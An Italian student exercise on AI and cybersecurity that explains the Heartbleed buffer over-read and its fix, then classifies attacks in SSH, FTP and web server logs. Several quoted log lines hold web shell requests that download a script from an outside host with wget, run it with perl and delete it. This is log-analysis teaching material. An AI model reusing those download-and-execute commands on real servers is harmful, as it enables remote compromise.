EPICODE

ESERCIZIO W21D1 EXTRA

IA e Cybersecurity

Mungiovì Fabio

TASK

1. Analizza il codice in cerca di vulnerabilità

https://github.com/patricia-gallardo/insecure-coding-examples/blob/main/vulnerability/ heartbleed.c;

2. Analizza i seguenti log in cerca di attacchi.

```
Oct  2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:48 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Received disconnect from 116.31.116.17: 11:  [preauth]
191.96.249.97 - - [20/Apr/2017:15:45:49 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 162 "-" "-" "-"
190.129.24.154 - - [14/Jul/2015:06:41:59 -0400] "GET /phpMyAdmin/index.php HTTP/1.1" 404 162 "-" "Python-urllib/2.6" "-"
190.129.24.154 - - [20/Apr/2017:09:04:47 +0200] "PROPFIND /webdav/ HTTP/1.1" 405 166 "-" "WEBDAV Client" "-"
180.97.106.37 - - [20/Apr/2017:04:31:02 +0200] "\x04\x01\x00P\xB4\xA3qR\x00" 400 166 "-" "-" "-"
216.244.82.83 - - [08/Oct/2016:01:02:03 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
112.90.92.106 - - [08/Oct/2016:01:23:09 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0" "-"
199.168.97.28 - - [08/Oct/2016:02:28:36 -0400] "POST /wp-comments-post.php HTTP/1.0" 200 3421 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36" "-"
192.185.4.146 - - [08/Oct/2016:09:19:13 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
client: 178.137.83.79, server: www.website.com, request: "GET /wp-content/plugins/formcraft/file-upload/server/php/upload.php HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET
/wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host:
"www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/reload-x.pHp?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/myluph.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 222.108.76.91, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 90.73.82.117, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 109.64.27.55, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 49.149.16.66, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 91.200.12.47, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 83.24.28.210, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 177.129.13.106, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 186.32.202.243, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
Oct 12 06:44:25 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session opened.
Oct 12 06:44:26 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): USER admin: no such user found from 110.11.148.226 [110.11.148.226] to xx.xx.xx.xx:21
Oct 12 06:44:28 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session closed.
Oct 12 07:57:56 host-vps proftpd[14904] host-vps (106.76.88.50[106.76.88.50]): FTP session opened.
Oct 10 18:43:08 host-vps postfix/smtpd[9294]: connect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:43:09 host-vps postfix/smtpd[9294]: disconnect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection rate 1/60s for (smtp:81.114.251.53) at Oct 10 18:43:08
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection count 1 for (smtp:81.114.251.53) at Oct 10 18:43:08
```


Confronta l'analisi svolta con i risultati di ChatGPT.

ESECUZIONE

1. Analizza il codice in cerca di vulnerabilità

Procediamo con l'analisi del codice C fornito, che simula la vulnerabilità Heartbleed. Il codice presenta due implementazioni della funzione `dtls1_process_heartbeat`: una vulnerabile e una corretta.

La vulnerabilità **Heartbleed** risiedeva nel modo in cui OpenSSL gestiva l'estensione Heartbeat del protocollo TLS/DTLS. In sostanza, un attaccante poteva inviare un messaggio Heartbeat con una lunghezza di payload specificata maggiore della lunghezza effettiva dei dati inviati.
Il server, senza una verifica adeguata della corrispondenza tra la lunghezza dichiarata e quella reale, rispondeva copiando in memoria la quantità di dati richiesta, leggendo oltre il buffer del messaggio Heartbeat e rivelando così porzioni di memoria sensibili del server.

Analisi della funzione `dtls1_process_heartbeat` (Vulnerabile)

Esaminiamo la funzione `dtls1_process_heartbeat`, che riproduce il comportamento vulnerabile.

- **Lettura del tipo e della lunghezza del payload:**

  Qui, il codice legge il tipo di Heartbeat e la lunghezza del payload direttamente dal pacchetto in arrivo (`s->s3->rrec.data`). La variabile `payload` è un valore a 16 bit, il che significa che può arrivare fino a 65535 byte (64KB).

- **Allocazione della memoria per la risposta:**

  Successivamente, il codice alloca un buffer per la risposta Heartbeat. La dimensione allocata si basa sul valore `payload` letto dal pacchetto, a cui vengono aggiunti 1 byte per il tipo di messaggio, 2 byte per la lunghezza del payload e 16 byte di padding.

- **Copia del payload nella risposta:**

  Questo è il punto cruciale della vulnerabilità. La funzione `memcpy` copia i dati dal puntatore (`pl`, che punta all'inizio del payload nel messaggio ricevuto) nel buffer di risposta (`bp`). La quantità di dati copiata è determinata dal valore `payload`.

Il problema risiede nel fatto che non viene eseguito alcun controllo sulla dimensione effettiva del buffer di input (s->s3->rrec.length) prima di utilizzare il valore `payload` per la `memcpy`. Se un attaccante invia un messaggio Heartbeat dove il `payload` dichiarato è molto più grande della lunghezza reale del messaggio (`s->s3->rrec.length`), la `memcpy` tenterà di leggere e copiare dati oltre i confini del buffer `s->s3->rrec.data`.

Questo porta a un "buffer over-read", esponendo dati presenti nella memoria adiacente al buffer, che potrebbero includere chiavi private, credenziali utente o altre informazioni sensibili.

Analisi della funzione `dtls1_process_heartbeat_fixed` (Corretta)

La versione `dtls1_process_heartbeat_fixed` introduce le correzioni necessarie per mitigare la vulnerabilità.

- **Controlli sulla lunghezza del messaggio in ingresso:**

  Prima di qualsiasi elaborazione significativa, vengono aggiunti due controlli cruciali:

  - Il primo controllo verifica che la lunghezza minima di un messaggio Heartbeat (1 byte tipo + 2 byte lunghezza payload + 16 byte padding) non superi la lunghezza effettiva dei dati ricevuti (`s->s3->rrec.length`).

- Il secondo controllo, ancora più importante, verifica che la lunghezza totale del messaggio *dichiarata* (1 byte tipo + 2 byte lunghezza payload + `payload` + 16 byte padding) non sia maggiore della lunghezza *effettiva* del record ricevuto (`s->s3->rrec.length`).

Questi controlli assicurano che il valore `payload` non possa mai essere utilizzato per leggere dati oltre i confini del buffer ricevuto. Se la lunghezza dichiarata è maggiore di quella effettivamente ricevuta, il messaggio viene scartato silenziosamente, prevenendo l'over-read.

In sintesi, la vulnerabilità nella funzione `dtls1_process_heartbeat` risiede nella mancanza di una validazione incrociata tra la lunghezza del payload dichiarata nel messaggio Heartbeat e la lunghezza effettiva dei dati ricevuti, che permette a un attaccante di forzare il server a rivelare porzioni di memoria inattese. La versione corretta aggiunge i controlli di lunghezza necessari per prevenire questo tipo di attacco.

2. Analizza i seguenti log in cerca di attacchi.

Analizziamo i log forniti alla ricerca di potenziali attacchi o attività sospette.

1. Tentativi di accesso SSH falliti (Brute-force SSH):

I primi log mostrano ripetuti tentativi di accesso falliti per l'utente "root" dall'indirizzo IP `116.31.116.17`.

- `Oct 2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2`
- `Oct 2 06:25:48 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2`
- `Oct 2 06:25:51 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2`

Questo è un classico segnale di un attacco a forza bruta (brute-force attack) contro il servizio SSH, dove un attaccante tenta di indovinare la password dell'utente "root" provando diverse combinazioni. Il successivo

`Received disconnect` suggerisce che la sessione è stata terminata, probabilmente dopo un certo numero di tentativi falliti o per timeout.

2. Scansioni e tentativi di accesso a phpMyAdmin:

Diversi log mostrano richieste GET a percorsi associati a phpMyAdmin da indirizzi IP diversi, come `190.129.24.154` e `191.96.249.97`.

- `191.96.249.97 [20/Apr/2017:15:45:49 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 162 "-" "-"`
- `190.129.24.154 [14/Jul/2015:06:41:59 -0400] "GET /phpMyAdmin/index.php HTTP/1.1" 404 162 "-" "Python-urllib/2.6" "-"`

Il codice di stato 404 Not Found indica che le pagine richieste non sono state trovate. Questo suggerisce che un attaccante sta cercando installazioni phpMyAdmin vulnerabili o mal configurate, che sono spesso bersaglio di exploit. L'uso di

`Python-urllib` nell'User-Agent è tipico di script automatizzati di scansione.

3. Tentativi di accesso WebDAV (PROPFIND):

- `190.129.24.154 [20/Apr/2017:09:04:47 +0200] "PROPFIND /webdav/ HTTP/1.1" 405 166 "-" "WEBDAV Client" "-"`

La richiesta `PROPFIND` è associata al protocollo WebDAV. Un codice 405 Method Not Allowed significa che il metodo non è consentito per la risorsa. Questo potrebbe essere un tentativo di enumerare le capacità del server WebDAV o cercare vulnerabilità in configurazioni WebDAV, che a volte vengono sfruttate per il caricamento di file malevoli o per altre operazioni non autorizzate.

4. Richieste malformate/binarie (Possibili exploit o scansioni):

- `180.97.106.37 [20/Apr/2017:04:31:02 +0200] "\x04\x01\x00P\xB4\xA3qR\x00" 400 166 "-" "-" "-"`

La presenza di sequenze di byte non standard (`\x04\x01\x00P\xB4\xA3qR\x00`) e il codice di stato 400 Bad Request indicano una richiesta HTTP malformata. Questo è spesso un segno di un tentativo di exploit, dove un attaccante invia un payload binario o una richiesta non conforme per cercare di innescare un comportamento inatteso o una vulnerabilità nel server.

5. Attacchi a WordPress (wp-comments-post.php, wp-login.php, xmlrpc.php, exploit di plugin):

Si osservano numerose richieste legate a WordPress, che indicano un'ampia attività malevola contro il sito www.website.com.

- **Spam o iniezione** via `wp-comments-post.php`:
  Molteplici richieste POST a `wp-comments-post.php`.
    - `112.90.92.106 [08/Oct/2016:01:23:09 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0" "-"`

Sebbene il codice di stato 200 OK indichi successo, queste richieste possono essere parte di campagne di spamming (comment spam) o tentativi di iniezione di codice attraverso il sistema di commenti di WordPress.

- **Tentativi di brute-force** su `wp-login.php` e `xmlrpc.php`:
  Numerose richieste GET a `wp-login.php` e POST a `xmlrpc.php` da diversi indirizzi IP.
    - `client: 222.108.76.91, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"`
    - `client: 91.200.12.47, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"`

Questi sono indicatori chiari di attacchi a forza bruta per indovinare le credenziali di accesso all'amministrazione di WordPress (`wp-login.php`) o per sfruttare le funzionalità del file `xmlrpc.php` (spesso usato per attacchi di brute-force distribuiti o per sfruttare vulnerabilità di pingback/trackback).

- **Tentativi di esecuzione di comandi remoti (Remote Code Execution - RCE) tramite plugin vulnerabili:**

Le seguenti richieste sono estremamente critiche e indicano tentativi di esecuzione di codice remoto:

- `client: 178.137.83.79, server: www.website.com, request: "GET /wp-content/plugins/formcraft/file-upload/server/php/upload.php HTTP/1.1", host: "www.website.com"` (Tentativo di sfruttare una vulnerabilità di caricamento file in un plugin)
- `client: 191.101.235.206, server: www.website.com, request: "GET /wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host: "www.website.com"`
- `client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/reload-x.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host: "www.website.com"`
- `client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/myluph.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host: "www.website.com"`

Queste richieste contengono parametri `cmd=` che tentano di eseguire comandi shell sul server (come `cd /tmp ;wget http://nowosely.by//cache/doc.txt ; perl doc.txt ; rm -rf doc.txt*`).

Questo è un tentativo di download ed esecuzione di un backdoor o di altro codice malevolo, sfruttando vulnerabilità note in plugin di WordPress come revslider o attraverso presunti file nel percorso `wp-admin/user/`.

Questi sono attacchi di gravità elevata.

6. Tentativi di accesso FTP falliti (Brute-force FTP):

I log di `proftpd` mostrano un tentativo di accesso FTP da 110.11.148.226 con il nome utente "admin", che fallisce perché l'utente non viene trovato.

- `Oct 12 06:44:25 host-vps proftpd[14581] host-vps (110.11.148.226 [110.11.148.226]): FTP session opened.`
- `Oct 12 06:44:26 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): USER admin: no such user found from 110.11.148.226 [110.11.148.226] to xx.xx.xx.xx:21`
- `Oct 12 06:44:28 host-vps proftpd[14581] host-vps (110.11.148.226 [110.11.148.226]): FTP session closed.`

Questo indica un tentativo di brute-force o scansione di credenziali sul servizio FTP. Un'altra sessione FTP viene aperta da 106.76.88.50 ma non vengono mostrati dettagli sugli accessi falliti.

Questi log rivelano una serie di attività malevole che vanno da semplici scansioni e tentativi di accesso a forza bruta fino a tentativi sofisticati di esecuzione di codice remoto, indicando che il sistema è sotto costante mira da parte di attaccanti.